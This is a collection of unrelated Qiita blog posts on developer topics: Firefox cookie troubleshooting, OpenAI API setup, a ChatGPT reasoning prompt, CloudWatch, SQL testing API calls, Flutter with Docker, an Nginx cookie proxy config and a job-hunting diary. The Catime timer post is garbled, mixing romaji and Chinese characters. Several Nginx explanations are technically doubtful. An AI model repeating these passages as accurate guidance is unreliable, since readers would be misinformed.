OmniAICreator/Qiita-1.07M huggingface dataset:
トラブルシューティング日記： ubuntu24.04 - firefox

## つまらないトラブルが出たらなるべく記事にすること
トラブルシューティング慣れてくるとほぼ瞬殺の事象がありますが、これらは本来なら「出て来てはいけない低レベルな問題が放置されている」ということになります。

* 再現しない障害
* 再現させにくい障害

これら「あ畜生」と思わず瞬殺してしまうことがありますが、自動化するとこれらが大変厄介な現象になります。つまり「つまらない事でも整理して潰す前に記録しておく」という日々の努力が必要になってきます。

* 再現が難しい事象の追跡
　<b>Cookie を消せば対応できる</b>話ですが、似たようなものにリモート機器で「WIFI設定をリセットすればつながる」というのがあります。　自動化時に気がつくのですが「リモート機器が繋がらなくなってからでは遅い」となります。Cookie削除を自動化出来ていないのもありましたが、これも誤動作すると繋がらなくなります。

:::note Warn
 小さなことも積み重なると大事故になります。
:::

## 本日の 🤬その１ 某通販サイトが開きません

途中までは、「本能の赴くまま」対応していますが、トラブルシューティングから解析に移りました。
結局のところ障害の再現は出来ていません。

* 某通販サイトが開かない・・・困った。
* Firefox：　ツール(T)->ブラウザーツール(B)->ウェブ開発ツール(T)
 ![ツール.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/9c28d4da-d14c-4375-96f8-fe8a22d472d3.png)
* 結果： NS_ERROR_NET_INTERRUPT error だとわかる。
* まあ、別のブラウザで開くからいいのです（普通の人はココで終わる）
以下がトラブルシューターの「非効率的時間の浪費」になります。
---
* ubuntu desktop での  firefox の挙動を調査（これまであまり観察していなかった）
* Profile 管理で、ファイルそのものを確認したい（特に Cookie)
* 対象は snap でインストールされている firefox
* 以前 firefox は snap ではない旧来のインストール方法でデプロイされていた。
* 2022年ごろから canonical snap による配布に変わった。
* 最近、いくつかのアプリは 「これがアプリケーションコンテナに入れられている」ということを薄々感じ
るような実行状況を確認していた。
* snap とはなにか？
* →　引用
* 実際に調べると /snap 以下にアプリケーションコンテナが並んでいる。
* firefox の profile がどこにあるのか・・・
```
  FIREFOX_CONFIG="$SNAP_REAL_HOME/.mozilla/firefox"
```
* 当てずっぽうで探したら ~/snap/firefox が発見された
* ただしこれは Profile格納先ではない模様・・・
* 斯くなる上は伝家の宝刀 "lsof"　を抜くほかない・・・
```
/home/strnh/snap/firefox/common/.mozilla/firefox/jeeovhhg.default/synced-tabs.db-shm
```
* 無事に cookie.sqlite を発見。

## 本日のハンティング結果： 
* サイトリニューアル後に 古い Cookie で繋がらなくなることがある。(手軽には再現しないので厄介）
* snap コンテナの管理先の把握
* sqlite3　のレコードリカバリに関する予備知識（今回時間切れ）

## トラシュー大好き人間は「非効率的時間浪費者」
* テスト漏れを拾うのは本当に骨が折れます。
OpenAI APIからレスポンスを取得する手順(Python)

## OpenAI APIキーを取得するまで
### 1. OpenAIの公式サイトへアクセス
[OpenAIのAPIページ](https://platform.openai.com/) にアクセスします。

### 2. アカウントを作成/ログイン
まだアカウントを持っていない場合は、アカウントを作成してください。すでにアカウントがある場合はログインします。

### 3. APIキーの発行ページへ移動
Dashboard → API keys → Create new secret key

![スクリーンショット 2025-02-19 11.39.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3488627/81b87aaa-6b87-4df8-9c9d-a57465aeb049.png)

keyのNameとProjectを指定してcreate sceret key ボタンをクリックするとキーが作成されます
※一度しか表示されないので、安全な場所に保存してください

### 4. クレジット情報を登録
設定（⚙️） → Builling

![スクリーンショット 2025-02-19 12.05.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3488627/53fe6d7d-7c46-416c-9bb7-d5086603138c.png)

クレジット情報を登録しないと以下のエラーになる
```
openai.RateLimitError: Error code: 429
```


## APIキーを環境変数に保存
### 🖥️ Windows（PowerShell）
```
# powershell

$env:OPENAI_API_KEY="your-api-key"
```
または、~/.bashrc や ~/.bash_profile に以下を追加：
```
# powershell

[System.Environment]::SetEnvironmentVariable("OPENAI_API_KEY", "your-api-key", "User")
```
### 🐧 macOS/Linux（Bash）
```
# bash

export OPENAI_API_KEY="your-api-key"
```

## プロンプトを送り、結果をターミナルに表示する
```
# ターミナル

pip install openai
```


```
# test.py

import os
from openai import OpenAI

client = OpenAI(api_key=os.environ.get("OPENAI_API_KEY"))

response = client.chat.completions.create(
    model="gpt-3.5-turbo",
    messages=[
        {"role": "user", "content": "これはテストですと言ってください"}
    ]
)

print(response.choices[0].message.content)
```

```
# ターミナル
python test.py

# 出力結果
これはテストです
```
【ChatGPT】に考える時間を与えるPromptのご紹介です。


　どうも、カーブミラーです。

　今回は、ChatGPTに考える時間を与えるPromptのご紹介です。

:::note info
本記事は、ChatGPT（Plus版）
で行なっております。
画像はありません。あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　まずは、ニュースです。

　昨日（2025/02/18）、
　　xAIが、Grok 3を発表。

　Grok 3には、
　　Grok 3
　　Grok 3 mini
　　Grok 3 Reasoning
　　Grok 3 mini Reasoningが登場。

　また、
　　Web検索機能を持つ
　　　AIエージェント
　　　　DeepSearchも搭載された。

　数学・科学・コーディングの分野で、
　　主要モデルを上回る性能を記録。

　DeepSearchは
　　複数の情報源を横断的に調査し、
　　　回答を生成する。
　　　　OpenAIのDeepResearch
　　　　　同様の機能。

　　DeepSearchの強みは
　　　ほかではアクセスできない
　　　　X-Twitterにも
　　　　　アクセスできること。

　提供開始は、
　　Xプレミアムプラス会員向け。
***
　次に

　OpenAIでCTO（一時CEO）として
　　働いていたMira Muratiさんが、
　　　Thinking Machines Labという
　　　　会社を立ち上げました。
　　　　　[Mira Muratiさんポスト](https://x.com/miramurati/status/1891918876029616494?t=oss0k_uS_1T9UO0QjJLrSw&s=19)
>（ChatGPT翻訳）
>私は、優れた科学者、エンジニア、そしてビルダーたちと共に **Thinking Machines Lab** を立ち上げました。私たちは、以下の3つのことに取り組んでいます。
>
>1. 人々がAIシステムを自分のニーズに適応させられるよう支援する  
>2. より高度なAIシステムを構築するための強固な基盤を開発する  
>3. この分野全体がAIシステムを理解し、改善できるようにするためのオープンサイエンス文化を促進する  
>
>私たちの目標はシンプルです。堅固な基盤、オープンサイエンス、そして実用的な応用を通じて、AIを広く役立ち、理解しやすいものにすることです。  
>
>[thinkingmachines.ai](https://thinkingmachines.ai)
***
　では、【本題】です。

　今回は、
　　ChatGPTに
　　　考える時間を与える
　　　　Promptです。

　AIの思考過程を出力させ、
　　その上で回答に移るので
　　　推論や分析力を
　　　　より深められるそうです。

　すぐるさんが
　　ポストしてくださいました。
　　　[すぐるさんポスト](https://x.com/SuguruKun_ai/status/1891684448350917016?t=iL5mJbBmG4CKGIme3CNkqQ&s=19)

　もともとは
　　Anthropic公式の
　　　Claudeオススメの
　　　　「思考プロンプト」だとか。

　すぐるさんは
　　AIの研修・開発を行なう
　　　株式会社UravationのCEOです。

　こちらが、そのPromptになります。
　　＊＊＊に、質問を入力して
　　　送信してください。
```Text:思考過程出力Prompt
質問「＊＊＊」

答える前に、<thinking></thinking> XML タグ内で質問について考えてください。   
このthinkingタブはuserは見ないので、ざっくばらんに本音ベースで熟考してください。
それから、<answer></answer> XML タグ内で質問に答えてください。
```

　これを実行すると
　　<thinking></thinking>で囲まれた
　　　ところに、ChatGPTの考えが
　　　　書き込まれます。

　　その後、
　　　<answer></answer>で囲まれた
　　　　ところに、きちんとした
　　　　　回答が出力されます｡

　ちなみに、
　　OpenAI o1で
　　　これを試したところ、
　　　　“申し訳ありませんが、
　　　　　思考プロセスは
　　　　　　共有できません。”と
　　　　　　　出てきました。

　　o3-mini-highでは
　　　“[内部処理済み]”と
　　　　出てきました。

　　まぁ、当然ですかね😅

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
Amazon CloudWatchは何ができる？

# はじめに
アプリを運用する際、ずっとサーバーなどを人間の目で監視するわけにはいかないので、自動化する必要があります。
この時、AWSで使用されるものはCloudWatchです。本記事では、CloudWatchの基本的な機能、使い方、そして具体的な利用シーンについて詳しく解説します。

## 1. CloudWatchとは

AWS CloudWatchは、AWSのシステムから各種メトリクス、ログ、イベントを収集し、保存できるサービスです。これにより、システムのパフォーマンス監視や障害検知、運用自動化が容易になります。

## 2. CloudWatchの主な機能

### 2.1 メトリクスの収集と表示
- **メトリクス**  
  AWSのサービス（EC2、RDSやLambdaなど）の各種パフォーマンス指標（CPU使用率、ディスクI/O、ネットワークトラフィックなど）を収集します。
  
- **ダッシュボード**  
  グラフを使用して、メトリクスを視覚的に表示します。

### 2.2 アラームの設定
- **閾値監視**  
  指定した閾値を超えた場合にアラームを発生させます。

- **自動アクション**  
  アラームに連動して、SNS通知、Lambda関数の起動、Auto Scalingなどを実行します。


## 3. 具体的な利用方法
 **EC2の監視**

- サーバーの死活監視
    - EC2が起動中であるか、停止中であるかといったステータスの監視

- リソースの監視
    - CPU、メモリー、ディスクI/O、ネットワークの使用量や使用率などの監視

- ログ監視
    - システムログやアプリケーションが出力するログファイルのテキストデータを収集する
    - フィルター条件に一致したログテキストを検出時にメール通知

**RDSの監視**

- 状態監視
    - データベースインスタンスの停止や状態変化を検知
- パフォーマンス監視
    - ストレージの空き容量や、ディスクの読み込みI/O操作数やRead/Writeなどをメトリクスとして収集
- ログ監視
    - RDSが出力するログファイルのテキストデータを収集する
    - フィルター条件に一致したログテキストを検出時にメール通知
## 参考記事
https://aws.amazon.com/jp/cloudwatch/
私は非常に使いやすいタイマー（ポモドーロタイマー）を作成しました。皆様のご指导をいただければと思います。

# Catime
> シンプルな Windows タイマーツール、透明なインターェースと豊富なカスタマイズオプションを备えています。


![Demo](https://github.com/vladelaina/Catime/blob/main/Images/catime.gif?raw=true)

Github: https://github.com/vladelaina/Catime

### ✨机能
- カウントダウン、カウントアップ、时计表示
- タイムaウtoakushon：通知、ロック画面、shaットダウンなど
- インターfuesu：透明、kurikku透过、自由调整
- 多言语対応、kasuタムカラー対応
電脳少女プログラミング2088 -壊レタ君を再構築- の街外れの戦場跡を解いてみた

どうもこんにちは！

paizaにて公開中の[電脳少女プログラミング2088 -壊レタ君を再構築-](https://ppg.paiza.jp/denno2088)にてQiitaとコラボ中ということで、ついでにQiitaデビューもしていきたいと思います。

# 問題
最初は街外れの戦場跡です。paizaランクはE相当、EASYとも書いています。はじめの一歩目ですね。
>以下の Python のコードを実行した時に出力される値を選択してください。
>```Python
>a = "RE"
>b = "IMI"
>print(a+b)
>```

https://ppg.paiza.jp/denno2088/challenges/denno2088_choice_01


# 答えと解説
答えはREとIMIを結合したREIMIです。演算子が'+'なので、文字列をa,bの順番で連結したものが出力されます。

# 回答後
このコンテンツでは問題を解くとパートナーが評価します。コードを書いて解く問題ではコードレビューもしてくれるすぐれもの。少し先まで進めているのですが、より効率がよいアドバイスをもらえたこともありました。また、パートナーの外観や口調も進めていくといろんな設定ができるようになります。自分は関西弁がお気に入り。

https://ppg.paiza.jp/denno2088?dynamic_ogp_image_uid=1085b48e-69b8-4e32-b691-d81f69191683

ではでは。
Insight SQL TestingをAPIから利用する - 評価SQLセットの自動作成

# はじめに

Insight SQL TestingはWebAPIの提供も行っていて、Webブラウザで行う操作はすべてAPI経由で実行可能です。

ということは、
- 複数の評価SQLセットを一度に作る
- 評価SQLセット作成→アセスメント実行の一連の流れを定期的に実行する(諸事情につきAWSマイグレーション機能を使えないとき)

などの作業を効率的にできるようになります。

※Insight SQL Testing自体が何を実現するツールかについては下記をご参照ください。
https://qiita.com/takumats/items/e100370373dfa02e3164

# そもそも

Insight SQL Testingの利用を考えるとき、どんな場面でAPIの利用が検討の俎上に載ってくるかがまずは大きな関心事項になる気がします。
Insight SQL Testingの利用シーンとInsight SQL Testingができることに照らし合わせてAPIの利用場面を考えてみましょう。

## Insight SQL Testingの基本的な利用の流れ

以下の通りです：
1. 評価SQLセットを作成する[^1]  
1. ターゲットDB(テスト用DB)を準備＆Insight SQL Testingに登録する
1. アセスメントを実行する
1. アセスメント結果を確認して必要なSQL修正を施す
[^1]: 評価SQLセット＝アセスメントの対象としたSQL群。テストケースになる。



ここで、評価SQLセットの作成方法について深堀してみると、
1. (所定のフォーマットに則った)CSVをアップロード
1. DBのログをアップロード
1. Amazon RDSから作成
1. Amazon CloudWatch Logsから作成

のいずれかの方法から選択することになりますが、オンプレ環境などで上記のうち後半2つが利用できない場合、手動でファイルをアップロードすることが作業として必要になります。

ところが、対象のファイルが大きい、ないし、数が膨大だとこれを一つずつ人手でアップロードすることはなかなか時間のかかる作業となってしまいます。

**ので、APIを使って楽をしましょう！（唐突）**

今回はRDSから直接ログを取る形で作成してみます（予めその設定をしておく）

# 実際のコード

```shell
# 認証してcookieを保存
curl \
    -c cookie.txt \
    -X POST \
    -H "Content-type: application/json" \
    -d '{"username": "<<ユーザ名>>", "password": "<<パスワード>>"}' \
    http://<<発行済みのManagerサーバのIPアドレス>>:7777/idt/api/v2/auth

# 評価SQLセット作成

# POSTのBODY作成
postBody=$(cat <<EOF
    {
        "name": "sql_workload_0001",
        "logStartTime": "2024-08-24T14:00:00Z",
        "logEndTime": "2024-08-24T14:15:00Z", 
        "region":"ap-northeast-1", 
        "instanceId":"<<対象のDB識別子>>",
        "databaseName":"<<対象のDB名>>",
        "selectedAWSProfileName":null, 
        "unique":false
    }
EOF
)

# RDSのログから作成。
curl \
    -b cookie.txt \
    -X POST\
    -H "Content-type: application/json" \
    -d "${postBody}" \
    http://<<発行済みのManagerサーバのIPアドレス>>:7777/idt/api/v2/sql-workloads/from-rds-log

```

実際、上記を実行してみると↓↓
![mysql_capture.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3895179/40562242-0cae-4817-ad91-b342491e33e4.png)
画面上でも間違いなく作成されていることが確認できました！

これを利用すれば大量のログを分割して評価SQLセットを作成することが可能で、また、CRON等と組み合わせることで夜間に評価SQLセットを自動で作成しておくなど、より効率的なアセスメントの準備ができます！


---
- SQLテストソフトウェア「Insight SQL Testing」
- https://www.insight-tec.com/products/sqltesting/
Insight SQL Testing4.2で追加された機能まとめ

Ver4.1で生成AI面の機能が大幅に追加されたInsight SQL Testingですが、Ver4.2で更に機能が強化されました！


## 生成AI関連の機能強化
### エラー分析の推論で使用するプロンプトを変更可能にする機能を追加

- これまでカスタムプロンプトは利用できなかったのですが、特定のプレースホルダなどを利用したカスタムプロンプトを利用できるようになり、よりユーザ側の利用に即したエラー分析が可能になります。

### Amazon Bedrockによるエラー分析で使用するモデルの選択機能を追加

- Amazon Bedrockによるエラー分析機能を使う場合は、対応するリージョンに紐付いた複数のモデルから任意のモデルを選べるようになりました。（マニュアルは[こちら](https://support.insight-tec.com/product/testing/latest/manual/#_amazon_bedrock%E3%82%92%E4%BD%BF%E7%94%A8%E3%81%99%E3%82%8B%E5%A0%B4%E5%90%88)）

### SQL詳細画面で修正したSQLの実行結果に対してエラー分析

- SQL詳細画面で修正したSQLに対するSQL実行の結果が失敗だった場合に、その結果に基づいてエラー分析を行えるようになりました。

なお、Testingでエラー分析機能を利用する（Bedrock利用）には[こちら](https://support.insight-tec.com/product/testing/latest/manual/#_%E5%BF%85%E8%A6%81%E3%81%AAiam%E8%A8%AD%E5%AE%9A%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)を参考にポリシーの設定を変更してください。


![スクリーンショット 2025-02-20 0.00.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3895179/4022dfa8-475d-4551-a91d-e8e73458a1a0.png)

---

1DBモードでも機能が拡充されました！

### 1DBモードにエラー分析機能
- これはそのままですが、1DBモードでもエラー分析機能が使えるようになりました＼(^O^)／

### アセスメント1DBの結果ステータスに性能劣化を使用
これまでは成功or失敗しか分からなかった1DBモードですが、予め実行時間の情報を持っている場合はアセスメント時に性能劣化の判定ができるようになりました！
![20250220_Testingの概念説明（スクリプト用） (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3895179/8e55033c-2404-4751-b540-15b481946fe5.png)
↑これまでは「成功」と「失敗」だけでしたが、「性能が劣化」の判定も追加されました！


---
- SQLテストソフトウェア「Insight SQL Testing」
- https://www.insight-tec.com/products/sqltesting/
似たようなプログラム・ソースコードの作成にエクセル関数を使ってみる

##この記事について
同じようなソースコード・プログラムを量産する際、Excel関数が便利です。

## ユースケース・具体例
### IDの一覧表から、削除SQLを複数記述する
ユーザー部門から受領した削除対象のユーザーIDリストから、レコードを一件ずつ削除するSQLをまとめて生成する場合と考えてみます。

※「SQL」「レコード」がわからない人は、たんに**変数部分を入れ替えながら、同様のプログラム・ソースコードを一括で作成している**という話だと思ってください。


- A列：削除ユーザーIDの一覧
　→ここはテキスト値貼り付け。
- B列：対象ユーザーのレコードを削除するSQLクエリ
　→ここはエクセル関数

B2セルに入れる計算式は、以下の感じ。
```text:エクセル関数
="DELETE FROM MS_user WHERE id = '"&A2&"';"
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3664630/9a1bbd75-3909-4457-9d02-0d826edd877b.png)

### 一覧表を、HTML形式のリストにする

考え方は同じで、B2セルに入れる計算式は以下のようになりそうです。
```text:エクセル関数
="<li>"&A2&"</li>"
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3664630/4dc8ea90-55dc-40e0-9bc9-d87582eef959.png)

## まとめ
- 左の列に一覧テキストを用意
　→ここが可変部分
- 右の列に、Excelの関数・計算式を用意
    - 固定部分はテキストで入力
    - `&`演算子でテキストを連結しながら、左の列の値を、テキストに埋め込み

という感じでいけます。

あえてExcelで実施するメリットは、
- 大元のデータとして、何を使用したか
- それがどう変換されて、ソースコードの記述に落とし込まれたのか

という流れが一目瞭然で、かつ作業の記録がしっかり残ることだと思います。
作業の見直し・振り返り・レビューが楽で、ミスが出にくい点はいいと思います。
スタートダッシュに失敗した私のエンジニア就活

## はじめに
Qiitaで就活について検索すると優秀な人がたくさん見受けられます(※個人の主観です)が、私は特段素晴らしい技術力や知識を持っているわけではないです。そんな私の就活体験談ですが、今後エンジニアとして就活を考えている方に向けて、失敗談の1つとして参考になればと思います。~~当の私はまだ就活終わってません、これからどうなることやら...~~
就活終わりました(2025/4/7追記)

## 目次
- [はじめに](#はじめに)
- [目次](#目次)
- [現在までの就活記録](#現在までの就活記録)
- [私が考えるエンジニア就活で大事なこと](#私が考えるエンジニア就活で大事なこと)
    - [早い段階で自己分析を行うこと](#1-早い段階で自己分析を行うこと)
    - [長期インターンに参加すること](#2-長期インターンに参加すること)
    - [とにかく早く動き始めること](#3-とにかく早く動き始めること)
- [最後に](#最後に)
- [追記(2025年4月7日)](#追記2025年4月7日)

## 現在までの就活記録
2024年
- 4月~6月　ひたすら自己分析
- 7月　大手IT企業の1day仕事体験に参加
- 8~9月　サマーインターン不参加(特大失敗)
- 10月　会社見学会に参加(1社)
- 11月　学校主催のオンライン会社説明会に参加(8社)
- 12月　エージェントや学校のキャリアセンターを使いながら複数の企業の説明会に参加、冬の1dayオンラインインターンに参加(3社)、早期選考に応募(2社)

2025年
- 1月　早期選考に応募した企業(1社)から内定をいただく

ここまで書いてみて思ったこと。
### <font color="red">なんでサマーインターン行ってないの！！！！</font>
せめて応募くらいしておけばよかったと今になって後悔しています。

## 私が考えるエンジニア就活で大事なこと
就活における大切なことは調べればいくらでも出てくると思うので、今回は特に私が重要だと感じたこと、やらずに後悔したことについて話します。
- 早い段階で自己分析を行うこと
- 長期インターンに参加すること
- とにかく早く動き始めること

#### 1. 早い段階で自己分析を行うこと
私の就活において、最も役立っていることが**早期に自己分析をしていた**ことです。
4~6月の間は月に2回程度学校のキャリアセンターでアドバイザーに面談をしてもらい、ひたすら自己分析を行っていました。ここでESや面接で使うための話を整理できていたことが、今になって実り始めています。実際早期選考にて面接を受けましたが、聞かれた質問に対してはノータイムで答えられるほど自分のことをしっかりと把握できていることが分かりました。自己分析が進んでいれば、ガクチカや自己PRのネタに困ることがほとんどありません(これは私の経験談に過ぎませんが...)。

#### 2. 長期インターンに参加すること
次に、やらずに後悔したこととして、先ほど話した通りサマーインターン(長期で開発を行う系のインターン)に参加していなかったことが挙げられます。私は現在1社IT企業の内定をいただいているので、サマーインターンに参加しなかったからと言って内定が取れなくなるわけではありません。秋冬のインターンを開催している企業も早期選考に案内してくれる場合が多く、一般選考よりも待遇される場合があります(一部選考スキップなど)。しかし、一般選考を受けるにあたり、エントリーする際に「**インターン/個人での開発経験は？**」と聞かれる場合があります。お察しの方もいるかもしれませんが、開発を伴う長期インターンに参加していない場合や、個人での開発経験がないとこの部分での加点をもらうことができません。もしくは**開発経験がないとそもそもエントリーすらできない**、なんてことも起こり得ます。長期インターンでは志望動機を要求される場合が多いので、ここでも**早期の自己分析が重要である**ことが分かります。学校の研究室等を通して長期インターンの募集がかかる場合もあるので、積極的に参加しましょう。

#### 3. とにかく早く動き始めること
昨今の就活はものすごく早期化しており、SNSで見た情報では(真偽不明ですが)大学二年生の時点で既に内々定を持っている人もいるぐらいです、恐ろしい早さ...
その早さについていくためにも、情報収集、自己分析、インターンのエントリーなど、早いうちから行動することが最も大切だと感じます。私は自己分析はしていたものの、逆にそれしかしていなかったので、情報収集の段階で敗北していました。企業・業界、インターンの情報は早い段階で徹底的に調べておくべきだったと後悔が募るばかりです。就活を早く終わらせることは、卒業研究などの時間の確保にもつながります。

## 最後に
「今の時代転職が当たり前」、「新卒ミスっても転職すれば大丈夫」なんてことをよく耳にします。確かにそういう時代になってるのだと思いますが、**新卒で入社する会社選びが重要**ということも事実だと思います。
私は自分のこれまでの就活に明確に失敗があったと感じ、この記事を書くことにしました。ただ失敗したからといって歩みを止めるわけにはいきません。現時点で何をすべきかを考え、行動できる人が自分にあった企業に進めるのだと思います。

繰り返しになりますが、私は**まだ就活終わってません**。最近はLabBase就活が楽しくてむしろ毎日就活してます(笑)。就活終わったら(=自分にあった企業に就職できたら)この記事に追記しようかなと思います。

まだ社会を経験していない一般大学生の就活体験談をお読みいただきありがとうございました。

# 追記(2025年4月7日)
2025年4月2日に自分の納得できる企業様から内定をいただくことができ、無事に就活を終えることができました。就職活動を通してひたすら自分と自分の将来と向き合ったことで、自分の根幹を見つけ出すことができたと思います。就職活動は大変なものでしたが、得られることも多かったイベントでした。

(サマーインターン行ってなくても意外と何とかなった。よかった)
[Docker][Flutter]DockerでFlutter開発環境を作りたいよ～

# 【レオパ】2足歩行の練習
**あ～～～、つかまり立ち出来て偉いでちゅね～～～❤**
![IMG_0058.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/804153ef-1f72-460e-9bb0-0259a6e6a3d1.jpeg)

# Flutter環境もDockerで作れないのか？
[こっちの記事](https://qiita.com/AsilHatake/items/57b3492d7ff594528c3b)でJava環境をDockerで構築したろうみたいなことを書きましたが、他の言語でもそんなに簡単に環境が作れるのかを検証してみたく、普通に構築しようとしたらクソ面倒くさいFlutterの開発環境の構築をやってみたよ!!

とりあえずWebのみで起動後にChromeから画面は見られたので、多分出来たんだと信じたい。。。

## 手順（Dockerの開発環境の前準備）
[基本的にJavaでやったことと同じ](https://qiita.com/AsilHatake/items/57b3492d7ff594528c3b#%E6%89%8B%E9%A0%86%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E7%92%B0%E5%A2%83%E4%BD%9C%E3%82%8A)で「どの環境を作る？みたいなダイアログがでてくる」ところでFlutterを選択すれば終わりです。
※特にバージョンとか聞かれなかったため、Flutterの最新になるのかなと思います（ターミナルでバージョン調べた
![スクリーンショット 2025-02-18 101305.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/2970a8bb-242c-446f-a822-4b69879fce09.png)

## プロジェクト作成
### 空のフォルダを作成
アプリを入れるフォルダを作成する
※お試しでやったためflutterとか言うクソネーミング、本来ならプロジェクト名やアプリ名とか
![スクリーンショット 2025-02-18 154809.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/da412bd2-55da-4acd-bb54-e102a9241670.png)

### コマンドパレットで【Flutter: New Project】からプロジェクトを作成
Skeleton Applicationで作った結果が以下となります（途中のキャプチャ忘れたわ

![スクリーンショット 2025-02-18 155309.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/312881df-c534-4fa5-86ad-f7e038b8a68e.png)

### 実行結果がこんな感じ
起動するとリモートの外のブラウザで開けるよ的なメッセージが出てくるのでChromeで開くようにする。
※なおChromeの拡張機能に【Dart Debug Extension】を追加しておかないと画面が表示されないため注意!!

#### 起動後は一覧が表示される
![スクリーンショット 2025-02-18 155854.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/dcb73216-4144-4085-b551-cb63fe6e78dc.png)

#### 右上のDEBUGの帯裏に有る歯車アイコンで設定画面が開き、ダークモードの切り替えなども出来る
![スクリーンショット 2025-02-18 160149.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/ac92cbfd-4c79-4c9d-96a5-9c27b9e3005f.png)

#### 一覧のアイテムをクリックすると詳細画面が表示される
![スクリーンショット 2025-02-18 160213.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/8f2a7998-62e8-4317-9770-bad7496fca34.png)

## ね、簡単でしょ？
フォルダ作る・コマンドパレット開いてポチポチ選択していく（プロジェクト名とかは入力したけど）ぐらいで、Flutterの開発・実行環境が出来ちゃうわけで、更に言うとFlutterのSkeleton Applicationで作っちゃえば、中身は多少いじるとはいえ、ありきたりなアプリの雛形まで出来ちゃうんだから便利な世の中になったもんよ。

# 注意
あくまで **実装・(Webの)実行環境** を構築しただけで、
アプリのビルドに関してはAndroid Studio入れるとか、XCode入れるとかしないとダメだと思われるため、
ちょっと勉強がてらにお試し実装したいなぁって時の補助的なアレだと思ってもらえれば幸いです。

# ちょっとアレな話
スマホが割と普及して、cordovaとNode系フロント言語でハイブリッドアプリを作るみたいなのが流行りだしたぐらいの時に、Flutterがリリース（2018年ぐらい）されて、
`Dart`とか言うGoogle様が作ったわけ変わんない言語でハイブリッドアプリが作れると言うアレだったため「まだみんな知識がバブちゃんでスタートラインが同じぐらいの今のうちに押さえておけば天下取れんじゃね？」と出始めの頃にチョロっと勉強実装してましたが、
そんな出始めたばかりの言語の案件なんかねぇよ・そもそも今後流行りそうなの？と営業が抜かしたため、特に業務で使うことなく今日まで来てます（当然知識も中途半端

せっかく先見の明で色々と知識を増やしたところで、仕事にならなきゃ職務経歴書にも書けない【ただの雑学】なので、この業界（特にSESや受託など）に長くいれば居るほど、ありきたりな言語（Java・C#・NodeJSなんか）を卒なくこなせればいいかぐらいのモチベーションになっちゃうのが、残念なところですね。
またそこそこ覚えたとしても技術はどんどん進歩するため、使わなくなる（案件数が減る）言語やライブラリ（COBOL・LISP・C言語・jQuery・Bootstrapなど）も出てくるため、よほどのことがない限りは極めようなんて気にならないのも残念なところですね。


# 【レオパ】最後にわがままボディ
写真、上手くなりてぇなぁ（折角のiPhone16が台無し
![IMG_0052.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/996378/2753aae5-6418-458f-86f0-373e01d538fe.jpeg)
Nginx 代理 Cookie 配置对比及前端无法设置 Cookie 解决方案

# Nginx 代理 Cookie 配置对比及前端无法设置 Cookie 解决方案

## 📌 1. 两种配置对比
```nginx
✅ 第一种（前端无法设置 Cookie）
location /api {
    proxy_pass http://kuanghaoran.com:8000;
    
    # 传递客户端的 Host 和 IP
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    
    # 传递前端 Cookie（如果前端有设置）
    proxy_set_header Cookie $http_cookie;
}
```
```nginx
✅ 第二种（前端可以设置 Cookie）
location /api {
    proxy_pass  http://kuanghaoran.com:8000;
    
    proxy_set_header Host $proxy_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    proxy_buffering off;
    proxy_set_header Connection "";
}
```
## 📌 2. 为什么第二种配置可以解决前端 Cookie 设置问题？
> **核心原因：第一种配置没有正确传递 `Set-Cookie` 响应头，而第二种默认可以正确传递。**

🔎 **浏览器的 Cookie 设置受限于 `Set-Cookie` 头的以下几个属性**：

1. **`Domain` 和 `Host` 相关**
   - **第一种：`proxy_set_header Host $host;`**
     - 可能导致后端返回的 `Set-Cookie` 头中的 `Domain` 不匹配前端域名，导致浏览器拒绝设置 Cookie。
   - **第二种：`proxy_set_header Host $proxy_host;`**
     - 让后端以正确的域名 `kuanghaoran.com` 返回 `Set-Cookie`，符合浏览器要求。

2. **`SameSite` 限制**
   - 如果后端返回 `Set-Cookie: token=abc; SameSite=Lax`，但前端是 **跨域请求**，Cookie 可能不会生效。
   - 需要确保后端 `Set-Cookie` 头为：
     ```http
     Set-Cookie: token=abc; Path=/; HttpOnly; Secure; SameSite=None
     ```

3. **`proxy_buffering off;` 作用**
   - 默认情况下，Nginx 可能会缓存后端响应，导致 `Set-Cookie` 头未及时传递给前端。
   - 关闭 `proxy_buffering` 可确保 `Set-Cookie` 头实时传递。

4. **`Connection ""` 作用**
   - 确保代理请求的连接方式不会影响 `Set-Cookie` 头的传递，减少代理层的问题。

---

## 📌 3. 结论

```markdown
✅ **如果前端 Cookie 无法设置，推荐使用第二种配置。**
- 确保 `Set-Cookie` 头正确传递。
- 处理 `SameSite` 及 `Domain` 限制。
- 关闭 Nginx 缓存避免影响 Cookie 设置。

📌 **额外注意事项**
- **跨域请求时，确保前端 `fetch` 或 `axios` 发送 `credentials: "include"`**
- **后端 `Set-Cookie` 需设置 `Secure; HttpOnly; SameSite=None` 以兼容所有情况**
